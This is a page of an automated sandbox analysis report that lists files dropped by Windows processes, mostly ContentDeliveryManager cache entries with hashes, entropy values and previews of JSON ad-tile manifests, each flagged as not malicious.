                                                                                              SHA-512:08A9BD0A996D4766A28F8C905AD4BE6E024FF3E5A42B8A120609BCD9803D8569A98A53855C27BFF810746282683DB418EDC9A92075061C38811B31612291C472
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.y.p.e.\.".:.\.".t.e.x.t.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.e.x.t.\.".:.\.".h.i.d.d.e.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.\.".c.o.l.l.e.c.t.i.o.n.I.d.\.".:.\.".S.t.a.r.t...S.u.g.g.e.s.t.i.o.n.s.\.".}.,.\.".a.c.t.i.o.n.\.".:.\.".a.d.d.T.i.l.e.T.o.C.o.l.l.e.c.t.i.o.n.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\1658350408.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):8968
                                                                                              Entropy (8bit):3.8363089473500107
                                                                                              Encrypted:false
                                                                                              SSDEEP:192:LFK460P0AQMUaP0ul4w0P0AYhvmNjjk0mRlS2irF:LMs3J3ssUfmlS2irF
                                                                                              MD5:12E85F873BBAADB22E60F64065B2F638
                                                                                              SHA1:DB9EC097A0EDEF8AD249F4890CF55BD1344E1780
                                                                                              SHA-256:7847636EE96B11BB1B891C6A93E1451CEE486CF0FDF00E9C9F0F8523E5024FC4
                                                                                              SHA-512:08A9BD0A996D4766A28F8C905AD4BE6E024FF3E5A42B8A120609BCD9803D8569A98A53855C27BFF810746282683DB418EDC9A92075061C38811B31612291C472
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.y.p.e.\.".:.\.".t.e.x.t.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".t.e.m.p.l.a.t.e.T.y.p.e.\.".:.{.\.".t.e.x.t.\.".:.\.".h.i.d.d.e.n.\.".}.,.\.".o.n.R.e.n.d.e.r.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.\.".c.o.l.l.e.c.t.i.o.n.I.d.\.".:.\.".S.t.a.r.t...S.u.g.g.e.s.t.i.o.n.s.\.".}.,.\.".a.c.t.i.o.n.\.".:.\.".a.d.d.T.i.l.e.T.o.C.o.l.l.e.c.t.i.o.n.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338389\1658350367 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):6090
                                                                                              Entropy (8bit):3.8368749013770893
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:LcTcgyaWbk4btWfdyEUITyjDGk4brjXUzrwUl5jD6oBU1RZk0/7FRKS2U0DBx:Lv44wFyEjTQDB4XDIrw+tDq1RZk0pRKx
                                                                                              MD5:42AEF78F393A0BF301475332B78FEEBB
                                                                                              SHA1:3A7518EDEFFF18515CD07AE9F1A5E1FAE9138F58
                                                                                              SHA-256:F6654112AB0EB7423C34A7C529155000CEC572141064970C8D336D2E4A344F12
                                                                                              SHA-512:F72368ACEBE99CCEF3BA66F60236D21A9C7728F80E0468B5F883A0233F93DB0A00DF7B29F009CDC16BC9975E42227FAF88AE34D29AC42252BEF070FF6761A8D8
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".n.o.O.p.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".n.o.O.p.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.}.,.\.".a.c.t.i.o.n.\.".:.\.".n.o.O.p.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.".:.\.".i.m.p.r.e.s.s.i.o.n.\.".}.].,.\.".p.a.r.a.m.e.t.e.r.i.z.e.d.\.".:.[.{.\.".u.r.i.\.".:.\.".h.t.t.p.s.:.\./.\./.r.i.s...a.p.i...i.r.i.s...m.i.c.r.o.s.o.f.t...c.o.m.\./.v.1.\./.a.\./.{.A.C.T.I.O.N.}.?.C.I.D.=.1.2.8.0.0.0.0.0.0.0.0.1.6.2.7.4.0.9.&.r.e.g.i.o.n.=.U.S.&.l.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338389\1658350367.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):6090
                                                                                              Entropy (8bit):3.8368749013770893
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:LcTcgyaWbk4btWfdyEUITyjDGk4brjXUzrwUl5jD6oBU1RZk0/7FRKS2U0DBx:Lv44wFyEjTQDB4XDIrw+tDq1RZk0pRKx
                                                                                              MD5:42AEF78F393A0BF301475332B78FEEBB
                                                                                              SHA1:3A7518EDEFFF18515CD07AE9F1A5E1FAE9138F58
                                                                                              SHA-256:F6654112AB0EB7423C34A7C529155000CEC572141064970C8D336D2E4A344F12
                                                                                              SHA-512:F72368ACEBE99CCEF3BA66F60236D21A9C7728F80E0468B5F883A0233F93DB0A00DF7B29F009CDC16BC9975E42227FAF88AE34D29AC42252BEF070FF6761A8D8
                                                                                              Malicious:false
                                                                                              Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".i.t.e.m.s.".:.[.{.".i.t.e.m.".:.".{.\.".f.\.".:.\.".r.a.f.\.".,.\.".v.\.".:.\.".1...0.\.".,.\.".r.d.r.\.".:.[.{.\.".c.\.".:.\.".C.D.M.\.".,.\.".u.\.".:.\.".S.u.b.s.c.r.i.b.e.d.C.o.n.t.e.n.t.\.".}.].,.\.".a.d.\.".:.{.\.".c.l.a.s.s.\.".:.\.".c.o.n.t.e.n.t.\.".,.\.".c.o.l.l.e.c.t.i.o.n.s.\.".:.[.].,.\.".i.t.e.m.P.r.o.p.e.r.t.y.M.a.n.i.f.e.s.t.\.".:.{.\.".n.o.O.p.\.".:.{.\.".t.y.p.e.\.".:.\.".a.c.t.i.o.n.\.".}.}.,.\.".i.t.e.m.s.\.".:.[.{.\.".p.r.o.p.e.r.t.i.e.s.\.".:.{.\.".n.o.O.p.\.".:.{.\.".e.v.e.n.t.\.".:.\.".n.o.n.e.\.".,.\.".p.a.r.a.m.e.t.e.r.s.\.".:.{.}.,.\.".a.c.t.i.o.n.\.".:.\.".n.o.O.p.\.".}.}.,.\.".t.r.a.c.k.i.n.g.\.".:.{.\.".e.v.e.n.t.s.\.".:.[.{.\.".i.d.\.".:.\.".i.m.p.r.e.s.s.i.o.n.\.".}.].,.\.".p.a.r.a.m.e.t.e.r.i.z.e.d.\.".:.[.{.\.".u.r.i.\.".:.\.".h.t.t.p.s.:.\./.\./.r.i.s...a.p.i...i.r.i.s...m.i.c.r.o.s.o.f.t...c.o.m.\./.v.1.\./.a.\./.{.A.C.T.I.O.N.}.?.C.I.D.=.1.2.8.0.0.0.0.0.0.0.0.1.6.2.7.4.0.9.&.r.e.g.i.o.n.=.U.S.&.l.

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\0e89c0fc00134a06bcf7877c79db7ced_1 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):1752
                                                                                              Entropy (8bit):5.577715510644332
                                                                                              Encrypted:false
                                                                                              SSDEEP:24:Yrw+lePMA0T1Cj0iiveVLsfWuKN/NAJWb1Di3b2n6yFzkLSjhR0S16I:YrLtXpJi8kLs/KVs2Di3b2nHFzkwhqef
                                                                                              MD5:940830DD70F58CD67ABCD37978730619
                                                                                              SHA1:31C4E4D3FA93420E5BCB36B0C2B6B585A5D2688E
                                                                                              SHA-256:B58D52D98203A6FCD10D0E1A00F5A1A70A80BE7D69D74F430A6E59F1E062A358
                                                                                              SHA-512:13EDB1893EF2FF2ABB10503F3AC3092A58898F22400E16B9C2BE2F17416D12D95E0B86F5F301B818758BB6B8A6BD1F756E34598DE747BB516CD82B5F37B6665E
                                                                                              Malicious:false
                                                                                              Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"0e89c0fc00134a06bcf7877c79db7ced","ctx.creativeId":"1658350367`128000000001627409`0`0e89c0fc00134a06bcf7877c79db7ced`604800`280815`137271744000000000","ctx.cv":"E/mSiYvK70+oSv/z.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-280815","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116123&UIT=P-&TargetID=700333390&AN=582749744&PG=PC000P0FR5.0000000INM&REQASID=CEAE64DE83FA4ECEA8BFDB99FC5992C4&UNID=280815&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}&

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\0e89c0fc00134a06bcf7877c79db7ced_1.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):1752
                                                                                              Entropy (8bit):5.577715510644332
                                                                                              Encrypted:false
                                                                                              SSDEEP:24:Yrw+lePMA0T1Cj0iiveVLsfWuKN/NAJWb1Di3b2n6yFzkLSjhR0S16I:YrLtXpJi8kLs/KVs2Di3b2nHFzkwhqef
                                                                                              MD5:940830DD70F58CD67ABCD37978730619
                                                                                              SHA1:31C4E4D3FA93420E5BCB36B0C2B6B585A5D2688E
                                                                                              SHA-256:B58D52D98203A6FCD10D0E1A00F5A1A70A80BE7D69D74F430A6E59F1E062A358
                                                                                              SHA-512:13EDB1893EF2FF2ABB10503F3AC3092A58898F22400E16B9C2BE2F17416D12D95E0B86F5F301B818758BB6B8A6BD1F756E34598DE747BB516CD82B5F37B6665E
                                                                                              Malicious:false
                                                                                              Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"0e89c0fc00134a06bcf7877c79db7ced","ctx.creativeId":"1658350367`128000000001627409`0`0e89c0fc00134a06bcf7877c79db7ced`604800`280815`137271744000000000","ctx.cv":"E/mSiYvK70+oSv/z.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-280815","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116123&UIT=P-&TargetID=700333390&AN=582749744&PG=PC000P0FR5.0000000INM&REQASID=CEAE64DE83FA4ECEA8BFDB99FC5992C4&UNID=280815&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}&

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\5aa0b303abbc4c78a66d4eafa631a544_1 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):84129
                                                                                              Entropy (8bit):5.6074951696694955
                                                                                              Encrypted:false
                                                                                              SSDEEP:1536:Occg8gNgK26v6k6htGRGYGdqCNCoCdLt8xrpnxrpRxrp6PTQDqDmDx8ETEzEfO0o:Occg8gNgK26v6k6htGRGYGdqCNCoCdLd
                                                                                              MD5:EA2BF611FFD45CCBEA66CA188A0059E9
                                                                                              SHA1:9CD558E8BA682A01DAE673F47D9E271A5F9DE4E6
                                                                                              SHA-256:FF5B87583EE62EC35614BC868D81BFCD75BA513107681E70C6C3CEA488A9FD12
                                                                                              SHA-512:4D08E17B0264DE374D32E6D55B4D441319A6422F9FAE97F7F600F9F80BBF9678AC90A9DF066DF6B835296C9BB8DFCF0959D859341CD15C3A16CFEEF5697320CB
                                                                                              Malicious:false
                                                                                              Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=880ea8d2f39649d89684d50d9e7f8f85&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\5aa0b303abbc4c78a66d4eafa631a544_1.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):84129
                                                                                              Entropy (8bit):5.6074951696694955
                                                                                              Encrypted:false
                                                                                              SSDEEP:1536:Occg8gNgK26v6k6htGRGYGdqCNCoCdLt8xrpnxrpRxrp6PTQDqDmDx8ETEzEfO0o:Occg8gNgK26v6k6htGRGYGdqCNCoCdLd
                                                                                              MD5:EA2BF611FFD45CCBEA66CA188A0059E9
                                                                                              SHA1:9CD558E8BA682A01DAE673F47D9E271A5F9DE4E6
                                                                                              SHA-256:FF5B87583EE62EC35614BC868D81BFCD75BA513107681E70C6C3CEA488A9FD12
                                                                                              SHA-512:4D08E17B0264DE374D32E6D55B4D441319A6422F9FAE97F7F600F9F80BBF9678AC90A9DF066DF6B835296C9BB8DFCF0959D859341CD15C3A16CFEEF5697320CB
                                                                                              Malicious:false
                                                                                              Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=880ea8d2f39649d89684d50d9e7f8f85&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\f5132fc7737d4175bd109df4de56eb50_1 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):51075
                                                                                              Entropy (8bit):5.595466561803188
                                                                                              Encrypted:false
                                                                                              SSDEEP:1536:Hi06djpzPLrS6rQ3gM2iwzt6BCXKSTAKc:Hi06djpzPLrS6+gM2iwzt6BCXKSTAKc
                                                                                              MD5:3FFF73B0E9CD7D6BCED21092FDAB46BB
                                                                                              SHA1:4A6BD15ED46F59AED6BD336311DDB6F10C40AA8C
                                                                                              SHA-256:E03EC5D84655B06DB49FAB3F877DCD31108622CAFAAAA988E6B88E5541CDD8DA
                                                                                              SHA-512:C2ABD4BEFFE6A18A77076B0C4889B0EE7DAE0CB7922A9CA550ACC75504B34A73955CEA342E2C3C16DF62141FA01E2EFDE393C654BB46EC34EE3048AD044CEC25
                                                                                              Malicious:false
                                                                                              Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b355becfe8af43f79733a1dcaf56261b&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\f5132fc7737d4175bd109df4de56eb50_1.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):51075
                                                                                              Entropy (8bit):5.595466561803188
                                                                                              Encrypted:false
                                                                                              SSDEEP:1536:Hi06djpzPLrS6rQ3gM2iwzt6BCXKSTAKc:Hi06djpzPLrS6+gM2iwzt6BCXKSTAKc
                                                                                              MD5:3FFF73B0E9CD7D6BCED21092FDAB46BB
                                                                                              SHA1:4A6BD15ED46F59AED6BD336311DDB6F10C40AA8C
                                                                                              SHA-256:E03EC5D84655B06DB49FAB3F877DCD31108622CAFAAAA988E6B88E5541CDD8DA
                                                                                              SHA-512:C2ABD4BEFFE6A18A77076B0C4889B0EE7DAE0CB7922A9CA550ACC75504B34A73955CEA342E2C3C16DF62141FA01E2EFDE393C654BB46EC34EE3048AD044CEC25
                                                                                              Malicious:false
                                                                                              Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b355becfe8af43f79733a1dcaf56261b&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\94a7e395da374f6d90a9e441909a3b13_1 (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):1752
                                                                                              Entropy (8bit):5.571823664802603
                                                                                              Encrypted:false
                                                                                              SSDEEP:24:Yrw+lePMAimj0uiveVLsfWuKNYGM2YWb1Di3bJ1a6yFzkLSjhVbopkGh:YrLtju8kLs/KI2Di3bnaHFzkwhNoXh
                                                                                              MD5:D6AB5D1D541D238C3054444CF3B1CBD6
                                                                                              SHA1:E277FFBE74C8AAD48D660BAAF596D5BADB39BFB3
                                                                                              SHA-256:5E42B5CF696917E3209B9D37D5D2876A9154FF9F0683D69AD4D94592079D7BCF
                                                                                              SHA-512:34D7726A60176DB9B14D81D8BDC4E9EDE21680F365F1680C08D0DC3BB0DBC422EB73AD40F9FD2D27C9424676E282780E8D1926CE8A81362862A932412F491469
                                                                                              Malicious:false
                                                                                              Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"94a7e395da374f6d90a9e441909a3b13","ctx.creativeId":"1658350367`128000000001627409`0`94a7e395da374f6d90a9e441909a3b13`604800`338389`137271744000000000","ctx.cv":"E/mSiYvK70+oSv/z.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-338389","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116219&UIT=P-&TargetID=700333446&AN=195438255&PG=PC000P0FR5.0000000IRU&REQASID=F772A4BC88A640809C1E46966D1A63F5&UNID=338389&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}&

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\94a7e395da374f6d90a9e441909a3b13_1.~tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:ASCII text, with very long lines, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):1752
                                                                                              Entropy (8bit):5.571823664802603
                                                                                              Encrypted:false
                                                                                              SSDEEP:24:Yrw+lePMAimj0uiveVLsfWuKNYGM2YWb1Di3bJ1a6yFzkLSjhVbopkGh:YrLtju8kLs/KI2Di3bnaHFzkwhNoXh
                                                                                              MD5:D6AB5D1D541D238C3054444CF3B1CBD6
                                                                                              SHA1:E277FFBE74C8AAD48D660BAAF596D5BADB39BFB3
                                                                                              SHA-256:5E42B5CF696917E3209B9D37D5D2876A9154FF9F0683D69AD4D94592079D7BCF
                                                                                              SHA-512:34D7726A60176DB9B14D81D8BDC4E9EDE21680F365F1680C08D0DC3BB0DBC422EB73AD40F9FD2D27C9424676E282780E8D1926CE8A81362862A932412F491469
                                                                                              Malicious:false
                                                                                              Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"94a7e395da374f6d90a9e441909a3b13","ctx.creativeId":"1658350367`128000000001627409`0`94a7e395da374f6d90a9e441909a3b13`604800`338389`137271744000000000","ctx.cv":"E/mSiYvK70+oSv/z.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-338389","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116219&UIT=P-&TargetID=700333446&AN=195438255&PG=PC000P0FR5.0000000IRU&REQASID=F772A4BC88A640809C1E46966D1A63F5&UNID=338389&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}&

                                                                                              C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                              File Type:ASCII text, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):55
                                                                                              Entropy (8bit):4.306461250274409
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                              MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                              SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                              SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
